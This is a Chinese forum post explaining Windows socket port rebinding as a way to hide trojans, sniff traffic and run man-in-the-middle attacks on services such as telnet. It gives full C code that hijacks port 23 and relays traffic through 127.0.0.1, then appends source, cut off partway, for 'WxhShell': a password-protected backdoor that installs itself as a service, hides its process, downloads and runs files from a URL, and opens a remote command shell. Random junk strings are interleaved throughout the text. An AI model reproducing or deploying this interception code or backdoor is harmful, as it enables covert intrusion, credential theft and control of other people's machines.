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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?h>(&H jWV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B8P@D"u  
3|z;K,`Fw  
  saddr.sin_family = AF_INET; @U7U?.p  
+btP]?04  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *<#]&2I  
%'K+$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L%=BCmMx  
?dATMmT-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gwkZk-f\p  
X"]mR7k  
  这意味着什么?意味着可以进行如下的攻击: x<)!$cg  
q[We][Nrzb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2=/-d$  
`UzCq06rJ1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M[&.kH  
HzFt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ul]m>W  
$)WH^Ir~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1{Sx V  
d@`-!"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qrORP3D@  
<3J=;.\6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d- _93  
kG~ivB}x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "X!_37kQ  
J}93u(T5  
  #include ~h~r]tV*+  
  #include &El[  
  #include g tSHy*3]  
  #include    g]TI8&tP!L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   123-i,epg  
  int main() P dE)m/  
  { -qr:c9\px  
  WORD wVersionRequested; 'p{Y{ $Q  
  DWORD ret; oG U.U9~!  
  WSADATA wsaData; o 2$<>1^  
  BOOL val; d<^6hF  
  SOCKADDR_IN saddr; ~T{d9yNW1  
  SOCKADDR_IN scaddr; UVvt&=+4  
  int err; _s=Pk[e  
  SOCKET s; hPX2 Bp  
  SOCKET sc; ))we\I__8  
  int caddsize; `04Y ;@w  
  HANDLE mt; $4fjSSB~  
  DWORD tid;   //@sktHsw(  
  wVersionRequested = MAKEWORD( 2, 2 ); (kD?},Z  
  err = WSAStartup( wVersionRequested, &wsaData ); L2Qp6A6S  
  if ( err != 0 ) { b~N|DKj  
  printf("error!WSAStartup failed!\n"); )l/C_WEK  
  return -1; kdZ-<O7@  
  } Y7IlqC`i  
  saddr.sin_family = AF_INET; V0wC@?  
   .(.G`aKnF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g^|_X1{  
SJY"]7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1tK6lrhj  
  saddr.sin_port = htons(23); d#$i/&gE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FCw VVF0 y  
  { c_j )8  
  printf("error!socket failed!\n"); WLA_YMlA  
  return -1; [Nzg 8FP  
  } K <fq=:I3  
  val = TRUE; ^9m^#"ZW`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1QdB`8in  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .bl/At3A  
  { Wg3WE1V  
  printf("error!setsockopt failed!\n"); !&:.Uh  
  return -1; A'P}mrY  
  } R,k[Kh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W(3~F2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 e?'k[ES^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V3Rnr8  
  ]q\=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X/C54%T ~  
  { 1pBsr(  
  ret=GetLastError(); P^W$qy|  
  printf("error!bind failed!\n"); x[h<3V"  
  return -1; ?}>B4Z)  
  } x[,wJzp\6  
  listen(s,2); H'(o}cn7~  
  while(1) 0.,&B5)  
  { M}RFFg  
  caddsize = sizeof(scaddr); Tx&qp#FS  
  //接受连接请求 #._6lESK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X+G*Q}5  
  if(sc!=INVALID_SOCKET) Vu8-Cy>Q?  
  { d~oWu [F*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ns] 9-D  
  if(mt==NULL) b J5z??  
  { FWx*&y~$  
  printf("Thread Creat Failed!\n"); bTYP{x~ y  
  break; 0 GLB3I >  
  } rzY@H }u  
  } %EhU!K#[  
  CloseHandle(mt); )#TJw@dNf^  
  } ROiX =i  
  closesocket(s); 0}3'h#33=  
  WSACleanup(); "VOW V3Z  
  return 0; '%/u103{e  
  }   a!]QD`  
  DWORD WINAPI ClientThread(LPVOID lpParam) x)Om[jZE  
  { `x^,k% :4  
  SOCKET ss = (SOCKET)lpParam; ${H&Q*  
  SOCKET sc; t 1'or  
  unsigned char buf[4096]; 'S-"*:$,u  
  SOCKADDR_IN saddr; dg@/HLZ  
  long num; Bwvc@(3v  
  DWORD val; JqhVD@1{  
  DWORD ret; kj"_Y"q=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )ejqE6'[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   79fyn!Iz<  
  saddr.sin_family = AF_INET; KQI} 5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); uS10P7N}  
  saddr.sin_port = htons(23); * =N 6_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K%#C+`Ij  
  { `v+O5  
  printf("error!socket failed!\n"); 5m;wMW<  
  return -1; "4- Nnm  
  } tQ<2K*3]  
  val = 100; H[yLl v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yxq!. 72  
  { h |  
  ret = GetLastError(); R$3+ 01j|  
  return -1; d-2I_ )9  
  } qMj e,Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e?fjX-  
  { KFrmH  
  ret = GetLastError(); !a&F:Fbm  
  return -1; <%5uzlp  
  } 545xs`Q_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~}l,H:jk@  
  { G#M]\)f%  
  printf("error!socket connect failed!\n"); n8ya$bc  
  closesocket(sc); Q&\ksM  
  closesocket(ss); /JY i^rZ  
  return -1; I>zn$d*0  
  } h^X.e[  
  while(1) 25KZe s)  
  { U?C{.@#w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 O/"&?)[v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 / 1GZN *I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 FAGVpO[  
  num = recv(ss,buf,4096,0); U9OF0=g  
  if(num>0) aM1JG$+7G  
  send(sc,buf,num,0); cHd39H9  
  else if(num==0) d$ 7 b  
  break; u _^=]K;  
  num = recv(sc,buf,4096,0); bhT]zsBK  
  if(num>0) 2UJ0%k  
  send(ss,buf,num,0); {u][q &n  
  else if(num==0) id9T[^h  
  break; +u.L6GcB  
  } f%l#g]]  
  closesocket(ss); : s3Vl  
  closesocket(sc); T}On:*&  
  return 0 ; 0w&1wee(  
  } >U.uRq  
#&gy@!a~  
t:n|0G(  
========================================================== B75SLK:h=  
c9={~  
下边附上一个代码,,WXhSHELL Q&;qFv5-l  
tr+~@]I+  
========================================================== ~+ur*3X  
(9%%^s]uPT  
#include "stdafx.h" 0:S)2"I58p  
j3F=P  
#include <stdio.h> (J#3+I  
#include <string.h> 4 ETVyK|  
#include <windows.h> nwVtfsb  
#include <winsock2.h> *a@UV%u  
#include <winsvc.h> )9,"~P2[R  
#include <urlmon.h> 9_$Odc%]  
`Nr7N#g+u  
#pragma comment (lib, "Ws2_32.lib") Qgi:q  
#pragma comment (lib, "urlmon.lib") 6U]7V  
&*-2k-16  
#define MAX_USER   100 // 最大客户端连接数 ,iy   
#define BUF_SOCK   200 // sock buffer =Q/i< u  
#define KEY_BUFF   255 // 输入 buffer exvsf|  
zt6ep=  
#define REBOOT     0   // 重启 aPgG+tu  
#define SHUTDOWN   1   // 关机 $Q4b~  
RT9@&5>il  
#define DEF_PORT   5000 // 监听端口 @e/dQ:Fb  
g?sFmD  
#define REG_LEN     16   // 注册表键长度 p^!p7B`qe.  
#define SVC_LEN     80   // NT服务名长度 {F[Xe_=#"  
N<WFe5  
// 从dll定义API GC2<K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :gC2zv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5#PhaVc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tp&iOP6O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]y e &#  
J>Ha$1}u/  
// wxhshell配置信息 f|)t[,c  
struct WSCFG { r G6/h'!|  
  int ws_port;         // 监听端口 p IToy;]  
  char ws_passstr[REG_LEN]; // 口令 p,/^x~m3a  
  int ws_autoins;       // 安装标记, 1=yes 0=no [x,&Gwa  
  char ws_regname[REG_LEN]; // 注册表键名 cx) EFy.  
  char ws_svcname[REG_LEN]; // 服务名 [OSUARm v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 29oEkaX2o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4YC`dpO'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?0X.Ith^.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lNw?}H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kzu=-@s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &9>d  
w8Yff[o  
}; |Sq>uC)  
$G[##j2  
// default Wxhshell configuration b :00w["  
struct WSCFG wscfg={DEF_PORT, JZ [&:  
    "xuhuanlingzhe", )ej8vm  
    1, `1gsrHi4N  
    "Wxhshell", 3IIlAzne;  
    "Wxhshell", z7o5 9&  
            "WxhShell Service", o-_ a0j  
    "Wrsky Windows CmdShell Service", -u{:39y{n  
    "Please Input Your Password: ", Z)~ 2{)  
  1, _JS'~ JO3{  
  "http://www.wrsky.com/wxhshell.exe", &V$R@~x  
  "Wxhshell.exe" q6dq@   
    }; S6 *dp68  
c-F&4V  
// 消息定义模块 >8so'7(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YuZnuI@m9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )C[8#Q-:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]Az >W*Y  
char *msg_ws_ext="\n\rExit."; QG.FW;/L,  
char *msg_ws_end="\n\rQuit."; HO>uS>+  
char *msg_ws_boot="\n\rReboot..."; 9viC3bj.o  
char *msg_ws_poff="\n\rShutdown..."; AF !_! qc;  
char *msg_ws_down="\n\rSave to "; ;A_QI>>  
I5mS!m/X  
char *msg_ws_err="\n\rErr!"; -oj@ c OZ  
char *msg_ws_ok="\n\rOK!"; tP9}:gu  
?a% u=G  
char ExeFile[MAX_PATH]; ?(z3/ "g]  
int nUser = 0; |NqQKot1  
HANDLE handles[MAX_USER]; lz>hP  
int OsIsNt; ?QgWW  
eM}Xn^}  
SERVICE_STATUS       serviceStatus; :BS`Q/<w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uB BE!w_  
\;]~K6=  
// 函数声明 rlq8J/0/+  
int Install(void); YL]x>7T~4t  
int Uninstall(void); 7K~=QEc  
int DownloadFile(char *sURL, SOCKET wsh); SFHa(JOS  
int Boot(int flag); [M.Vu  
void HideProc(void); >}iYZ[ V  
int GetOsVer(void); 51A>eU|  
int Wxhshell(SOCKET wsl); j<[<qU:  
void TalkWithClient(void *cs); uAP|ASH9T  
int CmdShell(SOCKET sock); Lqt]  
int StartFromService(void); R!O'DM+  
int StartWxhshell(LPSTR lpCmdLine); d;z`xy(C  
8mi IlB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +.=a R<Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kciH  
y(HR1v Q;Z  
// 数据结构和表定义 q(C+D%xB  
SERVICE_TABLE_ENTRY DispatchTable[] = %}@^[E)  
{ &\A$Rj)  
{wscfg.ws_svcname, NTServiceMain}, F[lHG,g-  
{NULL, NULL} x|Dj   
}; |cH\w"DcXw  
lp6GiF  
// 自我安装 7Y-GbG.'  
int Install(void) F~m tE8B:  
{ D_@^XS  
  char svExeFile[MAX_PATH]; b |EZ;,i  
  HKEY key; JSM{|HJxh  
  strcpy(svExeFile,ExeFile); ~o+u:]  
j=7]"%  
// 如果是win9x系统,修改注册表设为自启动 ;fuy}q8@7  
if(!OsIsNt) { hod|o1C&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #8'%CUF*<8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OHB!ec6W  
  RegCloseKey(key); -C\m' T,1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `O#y%*E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); | .PLfc;  
  RegCloseKey(key); qYE-z( i  
  return 0; U7OW)tUf  
    } ~ 60J  
  } Tsa&R:SE  
} 9s}--_k?F2  
else { 7%X$6N-X  
 #/n\C  
// 如果是NT以上系统,安装为系统服务 *w!H -*`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9 eP @}C6  
if (schSCManager!=0) r8mE   
{ [hs{{II  
  SC_HANDLE schService = CreateService bygwoZ<E  
  ( "UE'd Wz  
  schSCManager, UXd\Q''  
  wscfg.ws_svcname, WHU& 9N  
  wscfg.ws_svcdisp, .; :[sv)  
  SERVICE_ALL_ACCESS, )%*uMuF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IE3GM^7\  
  SERVICE_AUTO_START, ^CX~>j\(  
  SERVICE_ERROR_NORMAL, J=() A+  
  svExeFile, &AW?!rH  
  NULL, `jP6;i  
  NULL, DJeG  
  NULL, L./UgeZ  
  NULL, &cZD{Z  
  NULL K%S k{'  
  ); f F?=W  
  if (schService!=0) 7[Y<5T]  
  { 8Y:bvs.j  
  CloseServiceHandle(schService); C6GYhG]  
  CloseServiceHandle(schSCManager); <.Pr+g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zF{5!b  
  strcat(svExeFile,wscfg.ws_svcname); BONM:(1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 55Jk "V#8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 98x(2fCvF(  
  RegCloseKey(key); WFtxEIrl3j  
  return 0; GX\/2P7CZ  
    } " 4s,a  
  } % nJ'r?+h  
  CloseServiceHandle(schSCManager); 07CGHAxJ`  
} GMFp,Df  
} ++xEMP)  
Rf7py)  
return 1; BVG 3 T  
} Ry,jPw5<  
UeE&rA]  
// 自我卸载 `6UW?1_Z5  
int Uninstall(void) 9hcZbM]  
{ uRJLSt9m  
  HKEY key;  F`f#gpQ  
R7+k=DI  
if(!OsIsNt) { ! XA07O[@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2uz<n}IV  
  RegDeleteValue(key,wscfg.ws_regname); yt$V<8a  
  RegCloseKey(key); UA}k"uM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d!!5'/tmS  
  RegDeleteValue(key,wscfg.ws_regname); K5b8lc  
  RegCloseKey(key); X=-pNwO   
  return 0; |Zz3X  
  } +.{_n(kU  
} C%l~qf1n  
} Ip|7JL0Z  
else { }*;Hhbox  
4u A ;--j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G.1pg]P!  
if (schSCManager!=0) M++*AZ  
{ &`{%0r[UD#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 87y$=eZ  
  if (schService!=0) Jo_h?{"L{  
  { ?:~ `?  
  if(DeleteService(schService)!=0) { wC;N*0Th  
  CloseServiceHandle(schService); zkB_$=sbn#  
  CloseServiceHandle(schSCManager); SxNs  
  return 0; ^qGH77#z  
  } #|)GarDG  
  CloseServiceHandle(schService); VMsAT3^w  
  } J=5G<  
  CloseServiceHandle(schSCManager); (',G Ako  
} ;DBO  
} &!a[rvtZ+  
Jt@7y"<  
return 1; gQh;4v  
} [[ H XOPaV  
)9==6p  
// 从指定url下载文件 DtR-NzjB  
int DownloadFile(char *sURL, SOCKET wsh) pJ1GB  
{ uG~%/7Qt{  
  HRESULT hr; L3'o2@$  
char seps[]= "/"; 5Y JLR;  
char *token; Lr_+) l  
char *file; @zW'!Ol  
char myURL[MAX_PATH]; d2Bn`VI  
char myFILE[MAX_PATH]; 1P@&xcvS\  
J8~3LE )G  
strcpy(myURL,sURL); WADNr8.  
  token=strtok(myURL,seps); USfOc  
  while(token!=NULL) Z'hW;^e%_z  
  { BB>3Kj:|  
    file=token; e=QnGT*b5  
  token=strtok(NULL,seps); /\(0@To  
  } mq do@  
tNoo3&  
GetCurrentDirectory(MAX_PATH,myFILE); (F +if  
strcat(myFILE, "\\"); % =br-c  
strcat(myFILE, file); \,oT(p4N%M  
  send(wsh,myFILE,strlen(myFILE),0); x4Y+?2  
send(wsh,"...",3,0); C 3b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N_UZu  
  if(hr==S_OK) 8it|yK.G@&  
return 0; M n3cIGL  
else ts aD5B  
return 1; /m(vIl  
U_y)p Cd  
} :;#Kg_bz  
L00,{g6wqb  
// 系统电源模块 v_En9~e^n  
int Boot(int flag) P] ouLjyq  
{ zsc8Lw  
  HANDLE hToken;  \|L@  
  TOKEN_PRIVILEGES tkp; ;a[56W  
2(Vm0E  
  if(OsIsNt) { fYl$$.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A!x_R {,yH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o'?Y0Wt  
    tkp.PrivilegeCount = 1; 7_?:R2]n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HFB2ep7N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  ZOi8)Y~  
if(flag==REBOOT) { )UO:J7K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ==l p\  
  return 0; YR=<xn;m.  
} cL7je  
else { p9y "0A|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {|O8)bW'  
  return 0; YO|Kc {j2e  
} l%oie1g l  
  } ]Jq1b210  
  else { eh&?BP?  
if(flag==REBOOT) { mTwz&N\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %e+hM $Q  
  return 0; -yy&q9  
} A\ CtM`  
else { -:h5Ky"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LsS/Sk  
  return 0; K, WNM S  
} 4w}\2&=  
} cAogz/<S  
z AacX@  
return 1; DyD#4J)E  
} E;fYL]j/oZ  
Hl8-1M$&  
// win9x进程隐藏模块 s =! y%  
void HideProc(void) 'p80X^g  
{ snK$? 9vh  
T2AyQ~5~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @kenv3[Lc  
  if ( hKernel != NULL ) >2_BL5<S  
  { U}x2,`PI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rp6Y&3p.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >JkQ U e  
    FreeLibrary(hKernel); ;e_dk4_  
  } Q.*qU,4);  
MRwls@z=  
return; <x,u!}5J  
} F42r]k  
Cg?D<l4  
// 获取操作系统版本 #'^!@+)  
int GetOsVer(void) tV<}!~0,*  
{ KwndY,QD  
  OSVERSIONINFO winfo; gYn1-/Z>I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ol`/r@s  
  GetVersionEx(&winfo); KdHR.;*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r :{2}nE  
  return 1; ClCb.Ozj4  
  else ID & Iz  
  return 0; _ r0oOpE  
} &^Zo}F2V  
D}XyT/8G3  
// 客户端句柄模块 b8P/9D7K?  
int Wxhshell(SOCKET wsl) F#Uxl%h  
{ >eQ;\j  
  SOCKET wsh; (YVl5}V  
  struct sockaddr_in client; G"T)+! 6t  
  DWORD myID; CkE@ Ll3Z  
9$c0<~B\  
  while(nUser<MAX_USER) P%z\^\p"5  
{ T^B&GgW  
  int nSize=sizeof(client); 'S@%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iA3d[%tBb  
  if(wsh==INVALID_SOCKET) return 1; j0B, \A  
yv =LT~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DmEmv/N=  
if(handles[nUser]==0) &W:Wv,3  
  closesocket(wsh); yH#zyO4fD-  
else uc<XdFcu  
  nUser++;  VT96ph  
  } ;{ u{F L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QU|{(c  
R"Nvnpm  
  return 0; S5*wUd*p#  
} .^>[@w3  
dd>|1'-]  
// 关闭 socket nud,ag  
void CloseIt(SOCKET wsh) PwU}<Hrl]  
{ Z#BwJHh  
closesocket(wsh); H=?v$! i  
nUser--; 0 60<wjX6  
ExitThread(0); l~!Tnp\M  
} ~ nNsq(4  
_6Wz1.]n  
// 客户端请求句柄 HK) $ls  
void TalkWithClient(void *cs) 3Q*K+(`{  
{ [wG?&l$.KB  
tQ_;UQlX  
  SOCKET wsh=(SOCKET)cs; { :xINQ=}D  
  char pwd[SVC_LEN]; IzF7W?k  
  char cmd[KEY_BUFF]; !/znovoD  
char chr[1]; 6e&Y%O'8  
int i,j; ]`0(^)U &  
M;OY+ |uA  
  while (nUser < MAX_USER) { Vh$~]>t:f  
:BKY#uH~  
if(wscfg.ws_passstr) { +8Yt91   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :P #   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -BfZ P5  
  //ZeroMemory(pwd,KEY_BUFF); 3Wxl7"!x m  
      i=0; b)9bYkd  
  while(i<SVC_LEN) { wUHuykF  
~z#Faed=a  
  // 设置超时 -U)6o"O_CV  
  fd_set FdRead; aF2 eGh  
  struct timeval TimeOut; #~*fZ|sq+3  
  FD_ZERO(&FdRead); ';us;xR#  
  FD_SET(wsh,&FdRead); I1^0RB{~  
  TimeOut.tv_sec=8; 3C 84b/A  
  TimeOut.tv_usec=0; dFD0l?0N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gm~Ka%O|F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SoeL_#+^W  
mV^+`GWvo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |B<+Y<)f^  
  pwd=chr[0]; jCqs^`-  
  if(chr[0]==0xd || chr[0]==0xa) { vT"T*FKh:  
  pwd=0; 9Xo'U;J  
  break; rD<G_%hP  
  } Z2~;u[0a[  
  i++; TzmoyY  
    } yz8ZY,9  
P9; =O$s  
  // 如果是非法用户,关闭 socket vS%o>"P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D@*<p h=  
} 3$[!BPLFO  
b/cc\d<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .9{Sr[P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +!Q<gWb  
]u  4  
while(1) { KZUB{Y^)  
fw kX-ON  
  ZeroMemory(cmd,KEY_BUFF); $HT {}^B  
+168!Jw;  
      // 自动支持客户端 telnet标准   W(a31d  
  j=0; `VY -3  
  while(j<KEY_BUFF) { bDVz+*bU}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (Em^qN  
  cmd[j]=chr[0]; uq~$HXdc  
  if(chr[0]==0xa || chr[0]==0xd) { Cp=DdmR  
  cmd[j]=0; =UYZ){rt9E  
  break; ?ORG<11a  
  } dPgN*Bdv  
  j++; Jj4!O3\I  
    } ~c~N _b  
*>,8+S33r{  
  // 下载文件 .)~IoIW=  
  if(strstr(cmd,"http://")) { URS6 LM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p9rnhqH6  
  if(DownloadFile(cmd,wsh)) I!3qb-.Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'bVDmm).  
  else `K37&b;`[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f(!:_!m*  
  } 5D 9I;L{  
  else { '1{co/Y  
<seb,> :  
    switch(cmd[0]) { oV"#1lp*  
  `6;%HbP$W+  
  // 帮助 :"5'l>la  
  case '?': { |LA@guN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D_er(  
    break; 0)n#$d>  
  } Tl"GOpH\]  
  // 安装 m[7@l  
  case 'i': { }@%A@A{R  
    if(Install()) ,paD/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qE?*:$  
    else %_C!3kKv~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6&/n/g  
    break; sT:$:=  
    } ;zVtJG`  
  // 卸载 }qU(G3  
  case 'r': { $'Z\'<k[  
    if(Uninstall()) l?GN& u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7\I,;swo  
    else &6 .r=,BO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uz-O%R-  
    break; veX#K#  
    } tmEF7e`(o  
  // 显示 wxhshell 所在路径 W(U:D?e  
  case 'p': { ^-Ob($(\  
    char svExeFile[MAX_PATH]; + |(-7 "  
    strcpy(svExeFile,"\n\r"); a oj6/  
      strcat(svExeFile,ExeFile); | LdDL953  
        send(wsh,svExeFile,strlen(svExeFile),0); zMlW)NB'  
    break; 2VO bj7F  
    } xQ4 5B` $  
  // 重启 6$]@}O^V  
  case 'b': { }jTCzqHW]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fui;F"+1  
    if(Boot(REBOOT)) {jB& e,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ajB4 Lj,:r  
    else { ?t<yk(q  
    closesocket(wsh); FVw;`{  
    ExitThread(0); g2Pa-}{  
    } NvCq5B$C  
    break; &Luq}^u  
    } n<RvL^T=  
  // 关机 m/}(dT;  
  case 'd': {  g=W1y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vzDoF0Ts*p  
    if(Boot(SHUTDOWN)) $M%<i~VXe&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); anLSD/'4W  
    else { b5WtL+Z  
    closesocket(wsh); z+IHt(  
